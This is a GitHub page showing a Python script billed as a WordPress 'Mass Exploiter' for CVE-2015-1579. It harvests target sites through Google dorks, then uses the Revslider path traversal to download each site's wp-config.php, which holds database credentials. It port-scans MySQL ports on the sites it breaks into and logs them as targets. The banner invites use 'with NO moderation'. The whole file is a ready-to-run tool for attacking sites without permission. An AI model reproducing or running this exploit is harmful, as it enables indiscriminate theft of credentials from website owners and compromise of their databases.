-
Notifications
You must be signed in to change notification settings - Fork 18
/
Copy pathwordpressCVE-2015-1579.py
283 lines (239 loc) · 11.8 KB
/
wordpressCVE-2015-1579.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
# Wordpress CVE-2015-1579 Mass Exploiter 2016
# Autor: T.W.A - Third World Attacker
# This mass exploiter is based on CVE-2015-1579, discovered by CLAUDIO VIVIANI (https://www.exploit-db.com/exploits/36554/)
# How it works:
#
# 1 - I use Selenium Framework to make the search on google.
# 2 - The results of search, are parsed and links are stored into wordpressAFD_results.txt file.
# 3 - The fuzzer() & download_wp_config() try download wp-config from all targets.
# Exemple of using the tool:
# $ python wordpressCVE-2015-1579.py --dork='revslider.php "index of"'
# $ python wordpressCVE-2015-1579.py --dork='revslider.php "index of"' --period=lastYear (See options for this parameter on --help)
# *OBS[1]: You can change the country of google search, the default is .com.br. BUT you won't be able to use --period parameter !!!*
# *OBS[2]: INSTALL ALL DEPENDENCYS: selenium, tqdm, python-nmap, docopt.. I don't remember all :D
# Any sugestions please contact me at:
# Emails: mozambique@protonmail.ch / dnl31337@gmail.com
# FB Profiles: https://www.facebook.com/profile.php?id=100010663787734 / https://www.facebook.com/profile.php?id=100006341171993
"""
Usage:
wordpressCVE-2015-1579.py --dork=DORK [--period=Check help menu for list of options]
wordpressCVE-2015-1579.py --help
wordpressCVE-2015-1579.py --version
Options:
-h --help Open help menu.
-v --version Show scanner version.
-d --dork='DORK' your favorite g00gle dork :)
-p --period='PERIOD' lastYear
lastWeek
lastMonth
last24h
"""
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from bs4 import BeautifulSoup
import time
import os
from urlparse import urlparse
import socket
import sys
import requests
from docopt import docopt, DocoptExit
from tqdm import tqdm
import nmap
list_of_targets = []
lista = []
target_list = []
class WordPressScanner:
def search(self,dork,period):
self.banner()
print '[+] Starting g00gle search engine.. \n'
# Config settings for driver of selenium
driver = webdriver.Firefox()
driver.wait = WebDriverWait(driver, 20)
# Config of xpaths that will be used to make the search
searchTools = "hdtb-tls"
option_lastYear = "//li[contains(@id,'qdr_y')]"
option_lastMonth = "//li[contains(@id,'qdr_m')]"
option_lastWeek = "//li[contains(@id,'qdr_w')]"
option_last24h = "//li[contains(@id,'qdr_d')]"
botonAnyTime = "//div[contains(@class,'hdtb-mn-hd') and .//text()='Em qualquer data']"
navigationBar = ".//*[@id='nav']"
# Making the search
# On this line: driver.get("https://www.google.com.br")
# You can change the google domain, but the --period parameter will only works, if the google is .br
# Ex: driver.get("https://www.google.ru")
# So in this case, will bring all results, and can't be filtered using --period parameter.
driver.get("https://www.google.com.br")
search_bar = driver.find_element_by_name("q")
search_bar.send_keys(dork)
search_bar.send_keys(Keys.RETURN)
if period:
driver.wait.until(EC.presence_of_element_located((By.XPATH,navigationBar)))
time.sleep(1)
driver.wait.until(EC.presence_of_element_located((By.ID,searchTools))).click()
time.sleep(2)
driver.wait.until(EC.presence_of_element_located((By.XPATH,botonAnyTime))).click()
time.sleep(2)
if period == 'lastYear':
driver.wait.until(EC.presence_of_element_located((By.XPATH,option_lastYear))).click()
elif period == 'lastMonth':
driver.wait.until(EC.presence_of_element_located((By.XPATH,option_lastMonth))).click()
elif period == 'lastWeek':
driver.wait.until(EC.presence_of_element_located((By.XPATH,option_lastWeek))).click()
else:
driver.wait.until(EC.presence_of_element_located((By.XPATH,option_last24h))).click()
self.resultParser(driver)
def resultParser(self,driver):
global list_of_targets
global lista
print '[+] Starting parse search engine..'
print '[+] Take a look at the screen to wait the captcha shows, and type it'
print '[+] The default time to wait you type the captcha is 20s, but you can change it at line: driver.wait = WebDriverWait(driver, 20)'
try:
driver.wait.until(EC.presence_of_element_located((By.ID,"pnnext")))
next_page = driver.find_element_by_id("pnnext")
except:
next_page = 'xxx'
pass
while next_page != None:
html = driver.page_source
soup = BeautifulSoup(html, "lxml")
links = soup.find_all("a", {"href": True})
for link in links:
x = str(link).split("onmousedown")[0].split("\"")[1]
if ('http://' in x) and ('google.com' not in x) and (x.split("?")[0] not in lista):
x = x.replace('&', '&')
lista.append(x.split("?")[0])
list_of_targets.append(x)
try:
next_page = driver.find_element_by_id("pnnext")
next_page.click()
time.sleep(2)
driver.wait.until(EC.presence_of_element_located((By.XPATH,".//*[@id='nav']")))
except:
break
driver.close()
print '[+] Removing duplicate targets.. \n'
list_of_targets = set(list_of_targets)
arq = open('wordpressAFD_results.txt','a')
for i in list_of_targets:
arq.write(i+'\n')
arq.close()
def fuzzer(self,url):
global target_list
urlp = urlparse(url)
headers = {'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:41.0) Gecko/20100101 Firefox/41.0'}
wp_config = '/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php'
url2 = urlp.scheme+'://'+urlp.netloc
if urlp.netloc not in target_list:
try:
req = requests.get(url2,headers=headers,verify=False, timeout=10)
try:
path = urlp.path
path = path.split('/wp-content')[0]+wp_config
url = urlp.scheme+'://'+urlp.netloc+path
print '[+] Trying target: '+url
self.download_wp_config(url)
except:
print '\n'
pass
except:
pass
def download_wp_config(self,url):
urlp = urlparse(url)
local_filename = urlp.netloc+'_'+url.split('/')[-1]
headers = {'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:41.0) Gecko/20100101 Firefox/41.0'}
r = requests.get(url,headers=headers,verify=False,timeout=10,stream=True)
with open(local_filename, 'wb') as f:
for chunk in r.iter_content(chunk_size=1024):
if chunk:
f.write(chunk)
arq = open(local_filename,'r')
if '<?php' not in arq.readline():
arq.close()
os.remove(local_filename)
print '[-] Not vulnerable\n'
target_list.append(urlp.netloc)
else:
print '[+] \033[31mVulnerable!!\033[33m wp-config downloaded..\033[39m'
# All links of target that wp-config could be downloaded will be stored in allTargets.txt
arq = open('allTargets.txt','a+')
arq.write(url+'\n')
arq.close()
ip = urlp.netloc
ip = socket.gethostbyname(ip)
nm = nmap.PortScanner()
my_scan = nm.scan(ip,'3306-3307')
# If the ports 3306 or 3307 is open, the links of target will be separeted in wordpressAFD_targets.txt
if my_scan['scan'][ip]['tcp'][3306]['state'] == 'open':
print '[+] Port 3306: '+'\033[32mOpen\033[39m'
arq = open('wordpressAFD_targets.txt','a+')
arq.write(url+'\n')
arq.write(ip+'\n\n')
arq.close()
target_list.append(urlp.netloc)
elif my_scan['scan'][ip]['tcp'][3306]['state'] == 'filtered':
print '[+] Port 3306: '+'\033[33mFiltered\033[39m'
else:
print '[+] Port 3306: '+'\033[31mClosed\033[39m'
if my_scan['scan'][ip]['tcp'][3307]['state'] == 'open':
print '[+] Port 3307: '+'\033[32mOpen\033[39m\n'
arq = open('wordpressAFD_targets.txt','a+')
arq.write(url+'\n')
arq.write(ip+'\n\n')
arq.close()
target_list.append(urlp.netloc)
elif my_scan['scan'][ip]['tcp'][3307]['state'] == 'filtered':
print '[+] Port 3307: '+'\033[33mFiltered\033[39m\n'
else:
print '[+] Port 3307: '+'\033[31mClosed\033[39m\n'
# If bouth ports of the target are closed or filtered, the wp-config file will be removed, but the link of these targets are still
# saved and stored into allTargets.txt. I'm just removing the wp-config file.
if my_scan['scan'][ip]['tcp'][3306]['state'] == 'filtered' and my_scan['scan'][ip]['tcp'][3307]['state'] == 'filtered':
os.remove(local_filename)
target_list.append(urlp.netloc)
if my_scan['scan'][ip]['tcp'][3306]['state'] == 'closed' and my_scan['scan'][ip]['tcp'][3307]['state'] == 'closed':
os.remove(local_filename)
target_list.append(urlp.netloc)
if (my_scan['scan'][ip]['tcp'][3306]['state'] == 'closed' and my_scan['scan'][ip]['tcp'][3307]['state'] == 'filtered') or (my_scan['scan'][ip]['tcp'][3306]['state'] == 'filtered' and my_scan['scan'][ip]['tcp'][3307]['state'] == 'closed'):
os.remove(local_filename)
target_list.append(urlp.netloc)
def banner(self):
os.system('clear')
print "\n"
print "\033[32m\tMMP\"\"MM\"\"YMM `7MMF' A `7MF' db\" "
print "\033[32m\tP' MM `7 `MA ,MA ,V ;MM: "
print "\033[33m\t MM VM: ,VVM: ,V ,V^MM. "
print "\033[33m\t MM MM. M' MM. M' ,M `MM "
print "\033[33m\t MM `MM A' `MM A' AbmmmqMA "
print "\033[31m\t MM :MM; :MM; A' VML "
print "\033[31m\t .JMML. VF VF .AMA. .AMMA.\033[39m"
print "\t TWA Corp. WP Scan Version 0.1 - 2016"
print "\t Use with NO moderation :D"
print "\t Third World Attacker\n"
def main():
count = 0
myScan = WordPressScanner()
try:
arguments = docopt(__doc__, version="TWA Corp. Joomla RCE Scan Version 0.1 - 2016")
dork = arguments['--dork']
period = arguments['--period']
if (period != None) and ((period != 'lastYear') and (period != 'lastMonth') and (period != 'lastWeek') and (period != 'last24h')):
raise DocoptExit
os.system('rm -rf wordpressAFD_results.txt')
os.system('rm -rf wordpressAFD_targets.txt')
os.system('rm -rf allTargets.txt')
myScan.search(dork,period)
print "[+] Start testing possible targets...\n"
arq = open('wordpressAFD_results.txt','r')
for i in arq.readlines():
i = i.rstrip()
myScan.fuzzer(i)
except DocoptExit as e:
myScan.banner()
os.system('python wordpressCVE-2015-1579.py --help')
if __name__ == '__main__':
main()